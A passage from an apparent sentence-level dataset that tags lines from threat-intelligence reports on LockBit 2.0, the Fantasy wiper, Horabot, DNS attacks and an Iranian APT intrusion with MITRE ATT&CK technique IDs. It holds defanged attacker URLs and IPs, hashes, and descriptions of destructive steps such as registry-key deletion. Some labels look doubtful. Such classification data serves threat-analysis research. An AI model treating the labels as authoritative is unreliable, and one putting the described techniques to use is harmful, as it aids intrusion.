"labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These could be DB/FTP/Email clients and any other replicated decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "CreateProcessWithLogonW creates the new logon session using the caller process access token and spawns the process specified as a parameter in the security context of the specified deceptive credentials and it will be staged in the LSASS memory until the process runs in the background.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Additionally, NETONLY credentials used to create a logon session are not validated by the system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 22 – Deceptive host names pointing to decoy machines", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Detection of this attack path happens much earlier, however the decoy network setup keeps the adversaries engaged, helping admins to study their Tools and Techniques. Figure 23 – Decoy machines running clients pointing to decoy services A similar deception setup can also be done for the browsers where saved credentials can point to the decoy applications and services within the domain.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 25 – Deception network setup On the occasion where one of the domain-joined or public facing systems is compromised, authentication would be attempted to other domain joined systems in the network.", "labels": ["T1190"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Administrative privileges are required to access the process memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "T1003.003 NTDS.dit file Contains credentials for all the domain users.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "With attackers’ lateral movement tactics evolving and getting more stealthier, defenders will have to adapt to innovative ways of defending the critical network assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "The post Detecting Credential Stealing Attacks Through Active In-Network Defense appeared first on McAfee Blog.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "IP addresses are a string of numbers usually formatted as 000.000.000.000.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "However, we use domain names since people can’t easily remember these numbers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "When unsuspecting users reach the fraudulent website, the website prompts them to enter sensitive information, such as login details or credit card information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Attackers execute DNS spoofing attacks using two methods:Intercepting the communications between the target device and the DNS server and redirecting users’ requests to a malicious websiteDirectly attacking the legitimate DNS server and forcing it to return malicious IP addressesTo counter this attack, we should:Update and patch the DNS server software regularly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "DoS flood attackIn a DoS flood attack, the attacker uses one computer to flood a remote DNS server with false traffic.", "labels": ["T1071.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "The attacker orchestrates the attack by directing all devices to send traffic simultaneously to one server, generating a DoS status.", "labels": ["T1071.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "NXDomainLike a DNS flood attack, the NXDomain attack overwhelms the target DNS server with many requests for invalid records (nonexistent domain names).", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Sending many DNS responses eventually crashes the target server by consuming its network bandwidth and making it unresponsive to legitimate requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Attackers commonly leverage botnets, especially on IoT devices, to generate spoofed DNS requests to overwhelm the target servers or organization network with DNS responses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "The attack begins by executing malicious JavaScript code on a user’s browser to infect the router.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "We should also:Change the default router username and password to something difficult to guess.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Limit the number of successive recursive DNS requests on each DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "With the widespread use of the internet and the growing number of cyberattacks, cybercriminals have become increasingly interested in DNS attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "It includes several modules that all work via an FTP service.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "The attacker also tricks the victim by using an Adobe PDF icon for the decompressed file.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "We extracted the key and iv from _pytransform.dll and decrypted the “contain.pyc” using AES-GCM. Figure 4.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Code in \"contain.pyc\"", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Figure 5 is part of the code.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "EvilExtractor comparing product model for match Figure 7.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Virtual environment and scanner/virtual machine checking After passing the environment check, EvilExtractor downloads three components from http://193[.]42[.]33[.]232 used for stealing data.", "labels": ["T1105"], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "It can extract cookies from Google Chrome, Microsoft Edge, Opera, and Firefox.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "We also detailed what functions are included, what data can be collected by EvilExtractor, and how the Kodex Ransomware works.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Organizations in Europe and the U.S. are hit more often by LockBit 2.0 than those in other countries, likely due to the high profitability and insurance payouts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 leak site extortion site.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 geographical impact chart.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "LockBit 2.0 can be executed via scheduled tasks.", "labels": ["T1053.005"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Command and Scripting Interpreter LockBit 2.0 is typically executed via command line arguments via a hidden window.", "labels": ["T1059.003"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Windows SysInternals PsExec has been utilized for both persistence and execution purposes.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control LockBit 2.0 has utilized a UAC bypass tool.", "labels": ["T1548.002"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "T1484.001 Domain Policy Modification:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Group Policy Modification LockBit 2.0 has been seen using the PowerShell module InvokeGPUpdate to update the group policy.", "labels": ["T1484.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Remote Services Although Cobalt Strike has many capabilities beneficial to threat actors in ransomware attacks, it was mainly seen in LockBit 2.0 investigations acting as a command and control beacon, a method of lateral movement and a tool for downloading/executing files.", "labels": ["T1570"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "StealBit contains the following capabilities: Operates as a file grabber and dumps/uploads victim data to the LockBit victim-shaming site.", "labels": ["T1105"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "[T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "[T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "[T1548.002],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Ensure that the User-ID Agent has minimal permissions if User-ID is enabled CORTEX XDR PREVENT Enable Anti-Malware Protection Enable Anti-Exploit Protection Configure Host Firewall Profile Configure Behavioral Threat Protection under the Malware Security Profile Credential Access The courses of action below mitigate the following techniques: OS Credential Dumping [T1003], Credentials from Password Stores", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The courses of action below mitigate the following techniques: Remote Access Software [T1219] NEXT-GENERATION FIREWALLS Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged CORTEX XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Exfiltration", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "[T1030], Exfiltration Over C2 Channel [T1041] THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure that PAN-DB URL Filtering is used Ensure that access to every URL is logged Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "†These capabilities are part of the NGFW security subscriptions service Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways: WildFire:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "Appendix A", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).”", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "However, team members allegedly did not attack healthcare facilities, social services, educational institutions and charitable organizations or any other organization that “contributed to the survival of the human race.”", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "According to the threat actor’s claims, companies that violated regulations about collecting and handling customer or user personal information were among those eager to pay.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"} {"sentence": "The sample delivered remains unchanged; however, the network it communicates with evolves over campaigns.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "The infection script here delivered 472548a4b8295182f6ba8641d74725c2250b7243 – the Tsunami sample.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "A characteristic of 8220 Gang is their repeated use of fake miner pool domains themed around the FBI.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "Our graphic from a previous campaign explains the overlap, which can still be found in this most recent activity.", "labels": [], "doc_title": "SOC Team Essentials How to Investigate and Track the 8220 Gang Cloud Threat"} {"sentence": "ESET researchers analyzed a supply-chain attack abusing an Israeli software developer to deploy Fantasy, Agrius’s new wiper, with victims including the diamond industry ESET researchers discovered a new wiper and its execution tool, both attributed to the Agrius APT group, while analyzing a supply-chain attack abusing an Israeli software developer.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The Fantasy wiper is built on the foundations of the previously reported Apostle wiper but does not attempt to masquerade as ransomware, as Apostle originally did.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The group then deployed a new wiper we named Fantasy.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Most of its code base comes from Apostle, Agrius’s previous wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Along with Fantasy, Agrius also deployed a new lateral movement and Fantasy execution tool that we have named Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Usernames, passwords, and hostnames collected by these tools are required for Sandals to successfully spread and execute the Fantasy wiper.", "labels": ["T1033", "T1082"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We chose the name because Sandals is an anagram of some of the command line arguments it accepts.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "-s “C:\\\\.bat” The PsExec options have the following meanings: -d – Don’t wait for process to terminate (non-interactive).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "/accepteula – Suppress display of the license dialog.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We believe that the Fantasy wiper is deployed via a supply-chain attack using the software developer’s software update mechanism.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Table 1 lists the command line arguments accepted by Sandals.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -l The path and filename of the Fantasy wiper on the remote system that will be executed by the batch file created by Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No -raIf -ra is supplied at runtime, it sets the variable flag to True (initially set to False).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If flag=True, Sandals deletes all files written to disk in the current working directory.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The base64 string that follows fantasy35.exe is likely a relic of the execution requirements of Apostle (more details in the Attribution to Agrius section).", "labels": ["T1027"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "However, the Fantasy wiper only looks for an argument of 411 and ignores all other runtime input (see the next section for more information).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The batch file deletes the following registry keys: HKCR\\.EXE HKCR\\.dll HKCR\\* Then it runs the following to attempt to clear file system cache memory:", "labels": ["T1059.003", "T1112", "T1218.011"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "File deletion functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green) Figure 5 shows that the directory listing function is almost a direct copy, with only the function variables getting a slight tweak between Apostle and Fantasy.", "labels": ["T1070.004", "T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy, however, does not use this runtime argument.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "To that end, Agrius operators probably executed a supply-chain attack by targeting an Israeli software company’s software updating mechanisms to deploy Fantasy, its newest wiper, to victims in Israel, Hong Kong, and South Africa.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "820AD7E30B4C54692D07B29361AECD0BB14DF3BEfantasy45.exeMSIL/KillDisk.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "B3B1EDD6B80AF0CDADADD1EE1448056E6E1B3274spchost.exeMSIL/Agent.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Initial AccessT1078.002Valid Accounts: Domain AccountsAgrius operators attempted to capture cached credentials and then use them for lateral movement. T1078.003Valid Accounts: Local AccountsAgrius operators attempted to use cached credentials from local accounts to gain initial access to additional systems within an internal network.", "labels": ["T1078"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ExecutionT1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "All organizations, regardless of identified evidence of compromise, should apply the recommendations in the Mitigations section of this CSA to protect against similar malicious cyber activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "For more information on Iranian government-sponsored Iranian malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threats webpage.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "For a downloadable copy of the Malware Analysis Report (MAR) accompanying this report, see: MAR 10387061-1.v1.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Specifically, CISA observed HTTPS activity from IP address to the organization’s VMware server.", "labels": ["T1071.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[T1053.005] that executed daily as .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network.", "labels": ["T1021.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Upon logging into each host, the actors manually disabled Windows Defender via the Graphical User Interface (GUI) and implanted Ngrok executables and configuration files.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The threat actors were able to implant Ngrok on multiple hosts to ensure Ngrok’s persistence should they lose access to a machine during a routine reboot.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as , , , or .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "For additional mitigations, see the Mitigations section.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Perform regular vulnerability scanning to detect Log4J vulnerabilities and update Log4J software using vendor provided patches", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Use multifactor authentication for user and privileged accounts [M1032]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The actors’ malware can create local user accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Enable logging for new user creation", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Enable logging for new user creation, especially domain administrator accounts", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "[M1028]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The actors added an exclusion rule to Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The tool allowlisted the entire c:\\drive, enabling the actors to bypass virus scans for tools they downloaded to the c:\\drive.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Mitigation: Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.", "labels": ["T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Collect and review relevant logs, data, and artifacts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Take a memory capture of the device(s) and a forensic image capture for detailed analysis.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "If no compromise is detected, apply these updates as soon as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "While installing the updates, ensure network perimeter access controls are as restrictive as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Disable inactive accounts uniformly across the AD, MFA systems, etc.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Create a deny list of known compromised credentials and prevent users from using known-compromised passwords.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Repeat the process for all security technologies to obtain a set of comprehensive performance data.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"} {"sentence": "Horabot enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Attacker infrastructure dates back to Nov. 2020Talos discovered that the attacker in this campaign is using multiple hosts, including an Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instance, accessed through its public URL, to host the malicious files.", "labels": ["T1071.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "This is most likely a virtual private server (VPS) behind which the attacker has parked the actual command and control (C2) server, leaving us unable to identify the actual C2.", "labels": ["T1090"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The DNS requests to tributaria[.]website, as observed in Cisco Umbrella, are shown below.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "In analyzing the SSL certificates of tributaria[.]website, we spotted that the certificates with serial numbers 03b6b83943ec043082a8614186921afa306b and 03eeab4d2874f31ee662ea7f602b73b05633 are shared with four other domains.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "2022wiqp[.]xyzAugust 2022ckws[.]infoJanuary 2023amarte[.]store March 2023Multi-stage attack chain uses PowerShell downloader and DLL sideloadingThis campaign involves a multi-stage attack chain that begins with a phishing email and leads to payload delivery through the execution of a PowerShell downloader script and sideloading to legitimate executables.", "labels": ["T1059.003", "T1566.001", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The batch file downloads the PowerShell downloader script from an attacker-controlled server and executes it through the PowerShell commands.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "After the victim’s machine is rebooted, the malicious Windows startup files run the payloads by sideloading them to the legitimate executables and downloading and executing two other PowerShell scripts from a different attacker-controlled server.", "labels": ["T1059.003", "T1105", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "One is the PowerShell downloader script, which the attacker attempts to execute to re-infect the victim’s machine, and another is Horabot.", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The script is heavily obfuscated with random symbols that substitute the instructions during the run-time and base64-encoded strings.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "In the initial stage of the execution, the script decodes the base64-encoded strings and initializes them.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Then it creates two Windows shortcut files in the Windows startup folder using the Internet Explorer application icon and the target paths pointing to the two dropped batch scripts.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The deflated contents of the malicious ZIP file are shown in the below table with their description.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Files dropped Description_upyqta2_J.aiCompiled AutoIt script_upyqta2_J.atCompiled AutoIt", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "A snippet of the AutoIt code _", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Upyqta2_J.at_upyqta2_J.lnk", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "This link file executes one of the dropped batch files, “S.cmd.”", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The batch file executes an embedded PowerShell command to download the PowerShell downloader script from the attacker-controlled server using the URL hxxp[://]tributaria[.]website/esp/12/151222/up/up” and executes it.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "upyqta2_Jy.lnkThis", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "It also has information-stealing capabilities, such as logging keystrokes via polling and application hooks, capturing screenshots, manipulating the victim’s machine clipboard and tracking the mouse's events.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The below screenshots show some of the forms configured to steal one-time security codes or soft tokens from the victim’s online banking web applications.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "New Horabot deployed to spread the infectionTalos discovered Horabot, an Outlook Phishing botnet program written in PowerShell.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Attacker is using this technique to minimise the chances of their phishing infracture being tracked.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "A function that exfiltrates email addresses.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "The HTML file has an embedded malicious URL “hxxps[://]facturacionmarzo[.]cloud/e/archivos[.]pdf[.]html” in its metadata section.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "Tool.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "HorabotSpamTool-10003092-0IOCsIndicators of Compromise associated with this threat can be found here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"} {"sentence": "As they are a new actor in this space, Vice Society's TTPs are difficult to quantify.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Recent attack methodologyThroughout the course of our analysis of a recent human-operated ransomware attack associated with Vice Society, we observed several notable tactics, techniques, and procedures (TTPs) used throughout each stage of the attack lifecycle.", "labels": [], "doc_title": 